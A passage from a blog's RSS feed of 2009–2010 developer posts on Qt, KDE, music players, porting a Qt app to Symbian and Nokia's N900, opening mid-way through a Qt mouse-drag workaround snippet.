		event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">setButtonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">,</span> parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapToScene</span><span style="color: #006E28;">&#40;</span>pos<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">+</span> transform<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span>.<span style="color: #2B74C7;">map</span><span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownPos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
	<span style="color: #006E28;">&#125;</span>
	<span style="color: #22aadd;">QGraphicsItem</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">mouseMoveEvent</span><span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
<span style="color: #006E28;">&#125;</span></pre></div></div>

<p>This works, but it&#8217;s awful. Really awful. And it could break in future Qt versions. But for now, it works.</p>
<p>So I&#8217;m wondering &#8212; is this behavior by design, or have I uncovered an odd Qt bug?</p>
<p><b>Update</b>: It looks like <a href="http://www.qtcentre.org/threads/22775-Qgraphicsitem-parent-child-paint-problem." onclick="pageTracker._trackPageview('/outgoing/www.qtcentre.org/threads/22775-Qgraphicsitem-parent-child-paint-problem.?referer=');">others have encountered</a> the same problem. Well, here&#8217;s a work around. But is there a more correct solution?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/275#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=275" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F275&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/275"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/275"  data-text="Reparenting QGraphicsItem during Mouse Drag" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/275"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/275/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>KRunner Dictionary Plugin</title>
		<link>http://blog.zx2c4.com/269</link>
		<comments>http://blog.zx2c4.com/269#comments</comments>
		<pubDate>Thu, 11 Mar 2010 01:00:56 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=269</guid>
		<description><![CDATA[KRunner needs a dictionary plugin. Work flow: alt + f2 type &#8220;define &#8220; ctrl + v awe at simplicity While we&#8217;re at it, a translation plugin would be nice too. I will make the dictionary runner. Standby.<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/269#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=269" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>KRunner needs a dictionary plugin. Work flow:</p>
<ol>
<li>alt + f2</li>
<li>type &#8220;define &#8220;</li>
<li>ctrl + v</li>
<li>awe at simplicity</li>
</ol>
<p>While we&#8217;re at it, a translation plugin would be nice too.</p>
<p>I will make the dictionary runner. Standby.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/269#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=269" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F269&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/269"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/269"  data-text="KRunner Dictionary Plugin" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/269"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/269/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Programming Gigs in Europe</title>
		<link>http://blog.zx2c4.com/265</link>
		<comments>http://blog.zx2c4.com/265#comments</comments>
		<pubDate>Mon, 08 Mar 2010 00:05:29 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Jobs]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=265</guid>
		<description><![CDATA[I&#8217;m drawn to Europe, and this summer I want to live there, especially France or Italy. Europe is also expensive, which means I have to find a job over there. The problem is, I don&#8217;t have any &#8220;connections&#8221; in the European programming world to set me up with a coding gig. Parisian CraigsList is mostly [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/265#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=265" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m drawn to Europe, and this summer I want to live there, especially France or Italy. Europe is also expensive, which means I have to find a job over there. The problem is, I don&#8217;t have any &#8220;connections&#8221; in the European programming world to set me up with a coding gig. Parisian CraigsList is mostly empty and I&#8217;m not really familiar with how folks find jobs over there. I have a damn good resume, but nobody to send it to.</p>
<p>So, I turn to the interwebs for help: <i><b>How do I find a summer coding job in Europe?</b></i> Anyone suggest any companies or individuals to contact, or know of any European coding gigs search sites? Any KDE/Qt companies based in Paris or Italy or anyplace European I should contact? I&#8217;ll be in Paris next week traveling, so perhaps I&#8217;d be able to meet some folks in person while I&#8217;m over there.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/265#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=265" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F265&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/265"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/265"  data-text="Programming Gigs in Europe" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/265"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/265/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Clementine: The Player I&#8217;ve Been Looking For</title>
		<link>http://blog.zx2c4.com/257</link>
		<comments>http://blog.zx2c4.com/257#comments</comments>
		<pubDate>Wed, 03 Mar 2010 00:59:55 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[Clementine]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=257</guid>
		<description><![CDATA[Clementine is a half port half rewrite of Amarok 1.4, with its kdelibs dependencies stripped and all the code updated to use Qt4. Only in its 0.1 version, it works incredibly well. I&#8217;ve been looking for something like this since Juk became crusty and Amarok became too much and Exaile seemed slow and gtkish. Clementine [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/257#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=257" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Clementine is a half port half rewrite of Amarok 1.4, with its kdelibs dependencies stripped and all the code updated to use Qt4. Only in its 0.1 version, it works incredibly well. I&#8217;ve been looking for something like this since Juk became crusty and Amarok became too much and Exaile seemed slow and gtkish. Clementine is my new default player.<br />
<a href="http://code.google.com/p/clementine-player/" onclick="pageTracker._trackPageview('/outgoing/code.google.com/p/clementine-player/?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2010/03/Clementine.png" alt="" title="Clementine" class="aligncenter size-full wp-image-258" /></a><br />
<a href="http://znurt.org/media-sound/clementine" onclick="pageTracker._trackPageview('/outgoing/znurt.org/media-sound/clementine?referer=');">An ebuild</a> is already available for Gentoo.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/257#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=257" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F257&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/257"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/257"  data-text="Clementine: The Player I&#8217;ve Been Looking For" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/257"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/257/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Long Live Juk</title>
		<link>http://blog.zx2c4.com/240</link>
		<comments>http://blog.zx2c4.com/240#comments</comments>
		<pubDate>Fri, 18 Dec 2009 02:39:50 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[Juk]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=240</guid>
		<description><![CDATA[When I first started using Linux way back when, I had only MP3s, and Juk was the perfect simple interface for me. Then I started to acquire a good amount of AACs and seeing that m4a support was a long way from taglib, I was forced to switch to Amarok. For a while I bathed [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/240#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=240" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>When I first started using Linux way back when, I had only MP3s, and Juk was the perfect simple interface for me. Then I started to acquire a good amount of AACs and seeing that m4a support was a long way from taglib, I was forced to switch to Amarok. For a while I bathed in Amarok&#8217;s advanced feature set, but at the end of the day, I always longed for my simple Juk interface. For a while I even used <a href="http://code.google.com/p/gogglesmm/" onclick="pageTracker._trackPageview('/outgoing/code.google.com/p/gogglesmm/?referer=');">GogglesMM</a>, which is a wonderful project written in FOX. But alas FOX was ugly and didn&#8217;t integrate with Qt/KDE, so I&#8217;ve stayed with Amarok. <b>But finally</b> in the latest KDE SC beta, Juk supports AAC, corresponding with taglib 1.6&#8242;s optional addition! Everyone admire:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/12/longlivejuk.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/12/longlivejuk-450x303.png" alt="Long Live Juk!" title="Long Live Juk!" width="450" height="303" class="aligncenter size-medium wp-image-241" /></a><br />
It&#8217;s pretty and works well. I haven&#8217;t tried it out tons yet, but so far as I can tell, Juk does almost exactly what I want a music manager to do for me, or what I wanted it to do for me when I was 14 years old.</p>
<p>The system tray has issues, there&#8217;s no support for the disc number, there are some issues with the search filter and multiple fields, I haven&#8217;t tested the file renaming capabilities, collection scanning is odd, it still relies on Qt3Support, there is no shortcut handler for scrolling to the current track, and it&#8217;s got a lot of unfortunate tiny quirks. But all of this is to be expected of software that&#8217;s been basically forgotten about since KDE 3.4.</p>
<p>So after exams are over, I&#8217;m going to start investigating Juk&#8217;s codebase and seeing if it&#8217;s worth it to  whip this great player into shape for the prime. It looks promising so far, though I haven&#8217;t tested it very completely yet.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/240#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=240" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F240&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/240"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/240"  data-text="Long Live Juk" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/240"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/240/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Testing out Qt for Symbian</title>
		<link>http://blog.zx2c4.com/223</link>
		<comments>http://blog.zx2c4.com/223#comments</comments>
		<pubDate>Sat, 05 Dec 2009 10:52:15 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[Symbian]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=223</guid>
		<description><![CDATA[Qt 4.6 was released, and Alessandro put together some awesome tutorial videos for setting up a Qt/Symbian development platform. The installation was not so smooth, however. I have a Nokia 6650, branded and locked down by AT&#038;T, which makes it awful. It&#8217;s filled with bloatware I can&#8217;t remove and there are all sorts of restrictions [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/223#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=223" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.youtube.com/watch?v=c95KAuorbIU" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=c95KAuorbIU&amp;referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/12/messagepoppersymbian.jpg" alt="MessagePopper on Symbian and Linux" title="MessagePopper on Symbian and Linux" class="aligncenter size-full wp-image-226" border="0"/></a></p>
<p>Qt 4.6 was released, and Alessandro put together some <a href="http://labs.trolltech.com/blogs/2009/12/03/tutorial-videos-qt-development-for-symbian/" onclick="pageTracker._trackPageview('/outgoing/labs.trolltech.com/blogs/2009/12/03/tutorial-videos-qt-development-for-symbian/?referer=');">awesome tutorial videos</a> for setting up a Qt/Symbian development platform. </p>
<p>The installation was not so smooth, however. I have a Nokia 6650, branded and locked down by AT&#038;T, which makes it awful. It&#8217;s filled with bloatware I can&#8217;t remove and there are all sorts of restrictions in the operating system, especially related to app installation. It would not let me install PIPS, which is required for OpenC and Qt, and gave me either a nasty error from Qt&#8217;s demo installer or from the standalone installer an error message like &#8220;Component already built-in. You&#8217;re screwed.&#8221; So I had to jailbreak the phone, by installing HelloCarbide to allow me to install CapsOn/Off to allow me to insert a hacked installserver.exe so that it would let me install PIPS. Whew that took a long time. Debug deployment is also broken with a message like &#8220;General OS error.&#8221; No clue. It will sometimes work if installed manually, but basically, AT&#038;T&#8217;s restrictions make development pretty rough.</p>
<p>Nevertheless, I prevailed in porting my classic Qt example app: <a href="http://git.zx2c4.com/?p=messagepopper.git" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=messagepopper.git&amp;referer=');">MessagePopper</a>. The only modifications were having the main window show with showMaximized() instead of show() for Q_OS_SYMBIAN and focusing a text input, because evidently if a focused widget is hidden and no other visible widget is programmatically focused, the user cannot select anything. The huge addition was adding a function call to ask Symbian for a network connection, and this required including from Qt&#8217;s FTP demo the <a href="http://git.zx2c4.com/?p=messagepopper.git;a=blob;f=sym_iap_util.h" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=messagepopper.git_a=blob_f=sym_iap_util.h&amp;referer=');">sym_iap_util.h</a> header and <a href="http://git.zx2c4.com/?p=messagepopper.git;a=blobdiff;f=MessagePopper.pro;h=cb320f2f066546a55b7ab7ad9f53a341ed4f7038;hp=a780c73c92a370da774d7668cacb5ce40c4d50dd;hb=HEAD;hpb=fb8677daa2658e52511317511d497dfc456e4dc8" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=messagepopper.git_a=blobdiff_f=MessagePopper.pro_h=cb320f2f066546a55b7ab7ad9f53a341ed4f7038_hp=a780c73c92a370da774d7668cacb5ce40c4d50dd_hb=HEAD_hpb=fb8677daa2658e52511317511d497dfc456e4dc8&amp;referer=');">qmake pro additions</a>. Oy. I wish this part were built in to QtNetwork.</p>
<p>It worked beautifully though, and here&#8217;s a video demonstrating the app:<br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/c95KAuorbIU&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/c95KAuorbIU&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
<a href="http://www.youtube.com/watch?v=c95KAuorbIU" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=c95KAuorbIU&amp;referer=');"><b>(link to youtube original)</b></a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/223#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=223" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F223&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/223"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/223"  data-text="Testing out Qt for Symbian" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/223"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/223/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Hands on with the N900</title>
		<link>http://blog.zx2c4.com/212</link>
		<comments>http://blog.zx2c4.com/212#comments</comments>
		<pubDate>Thu, 15 Oct 2009 02:52:24 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Maemo]]></category>
		<category><![CDATA[N900]]></category>
		<category><![CDATA[Nokia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=212</guid>
		<description><![CDATA[I played with the N900 today at the Nokia store in NYC and was thoroughly disappointed. From reading all those fanboy posts out there, I expected the most awesome telephone ever, but instead I was presented with the following cons: It is clunky. Really clunky. It&#8217;s very thick and does not fit into the pocket [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/212#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=212" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zx2c4.com/wp-content/uploads/2009/10/IMG_0328.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/IMG_0328-450x300.jpg" alt="Playing with the N900" title="Playing with the N900" width="450" height="300" class="aligncenter size-medium wp-image-216" /></a><br />
I played with the N900 today at the Nokia store in NYC and was thoroughly disappointed. From reading all those fanboy posts out there, I expected the most awesome telephone ever, but instead I was presented with the following cons:</p>
<ul>
<li>It is clunky. Really clunky. It&#8217;s very thick and does not fit into the pocket well.</li>
<li>The keyboard is too tiny. Maybe this just takes some getting used to, but I couldn&#8217;t do it.</li>
<li>No multi-touch. The little swirling gesture to zoom is a cop-out for a much needed multi-touch screen.</li>
<li>Unintuitive user-interface. Some things made sense, but generally operations took one too many clicks. Making phone calls should be easy and fast.</li>
<li>The user interface does not rotate.</li>
<li>The web browser is turkey slow, even for cached pages.</li>
<li>Ovi maps is uglier than GMaps, and again &#8211; no multi-touch.</li>
</ul>
<p>Oh well. I guess I&#8217;ll wait until the N900+1, especially considering that Maemo 5 will <a href="http://blog.zx2c4.com/202">soon be obsolete</a>.</p>
<p>Or maybe I&#8217;m just approaching it the wrong way? I dunno. After all, it does run Linux, can run KDE, and is extremely open&#8230; but still: it&#8217;s lacking heavily in several areas.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/212#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=212" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F212&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/212"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/212"  data-text="Hands on with the N900" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/212"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/212/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Maemo 5 or Maemo 6?</title>
		<link>http://blog.zx2c4.com/202</link>
		<comments>http://blog.zx2c4.com/202#comments</comments>
		<pubDate>Wed, 14 Oct 2009 19:45:16 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Maemo]]></category>
		<category><![CDATA[N900]]></category>
		<category><![CDATA[Nokia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=202</guid>
		<description><![CDATA[The N900 looks good, and later today I plan to go down to NYC&#8217;s Nokia store to investigate. However, as Ars reports, the N900 is the 4th step in a 5 step program to develop a mainstream smart phone, and Maemo 5 is last platform before Qt domination comes to Nokia. So should I wait [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/202#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=202" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/n900.jpg" alt="N900" title="N900" width="200" height="116" align="right" class="alignright size-full wp-image-205" />The N900 looks good, and later today I plan to go down to NYC&#8217;s Nokia store to investigate. However, as <a href="http://arstechnica.com/open-source/news/2009/10/next-gen-nokia-linux-devices-will-get-multitouch-and-qt-ui.ars" onclick="pageTracker._trackPageview('/outgoing/arstechnica.com/open-source/news/2009/10/next-gen-nokia-linux-devices-will-get-multitouch-and-qt-ui.ars?referer=');">Ars reports</a>, the N900 is the 4th step in a 5 step program to develop a mainstream smart phone, and Maemo 5 is last platform before <i>Qt domination</i> comes to Nokia.</p>
<p>So should I wait for the N900+1? $649 is a lot to shell out for a device that is running on a platform that is being retired (&#8220;moved to community support&#8221;). Besides, I&#8217;m a Qt guy, not a Gtk wizard, and any programming I do with the device will most likely be with Qt. Will Maemo 6 be available for the N900? The N900 does not, as far as I can tell, have a multi-touch screen, which means it won&#8217;t be able to use Qt 4.6+&#8217;s multi-touch gesture support.</p>
<p>On the other hand, how much longer until a Maemo 6 device is released? Probably over a year from now. I also fear, perhaps without good reason, that Maemo 6 (and perhaps even Maemo 5 &#8212; I&#8217;ll find out later today when I try it out) will have some kind of new-age high-tech web-service-enabled interface that is going to be more difficult to use than my current old school phone. I dunno.</p>
<p>So what should I do? Go for the N900/Maemo5 if it looks decent, or wait who knows how long for the N900+1/Maemo6?</p>
<p><i>PS: What&#8217;s the story with <a href="http://qt.gitorious.org/maemo-6-ui-framework/framework-technical-preview/blobs/master/src/core/duiapplication.cpp" onclick="pageTracker._trackPageview('/outgoing/qt.gitorious.org/maemo-6-ui-framework/framework-technical-preview/blobs/master/src/core/duiapplication.cpp?referer=');">libdui</a> or DirectUI? I can&#8217;t find much about this online.</i></p>
